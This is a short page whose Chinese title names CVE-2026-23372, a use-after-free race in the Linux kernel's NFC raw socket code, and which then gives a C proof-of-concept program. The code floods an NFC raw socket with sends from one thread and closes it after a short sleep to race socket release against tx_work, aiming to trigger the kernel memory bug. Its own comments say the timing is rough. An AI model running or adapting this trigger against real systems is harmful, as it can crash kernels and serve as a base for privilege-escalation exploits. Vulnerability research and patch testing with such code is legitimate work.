CVE-2026-23372 Linux内核NFC rawsock释放后使用漏洞

/* * PoC for CVE-2026-23372: Race condition in nfc: rawsock * This attempts to trigger the UAF by racing socket release with tx_work. * Compile: gcc -o poc_cve2026_23372 poc_cve2026_23372.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/nfc.h> #define NFC_SOCKPROTO_RAW 1 void *trigger_tx_work(void *arg) { int sock = *(int *)arg; char buffer[1024]; // Continuously writing to queue tx_work while (1) { send(sock, buffer, sizeof(buffer), 0); } return NULL; } int main() { int sock; pthread_t tid; // Create NFC raw socket sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW); if (sock < 0) { perror("socket"); return 1; } printf("Starting PoC for CVE-2026-23372...\n"); // Start thread to flood the socket and schedule tx_work pthread_create(&tid, NULL, trigger_tx_work, &sock); // Wait briefly then kill self or close socket to trigger race // Adjusting this timing may be necessary to hit the race condition usleep(50000); // Simulate process kill or aggressive close // In a real exploit, precise synchronization is critical close(sock); return 0; }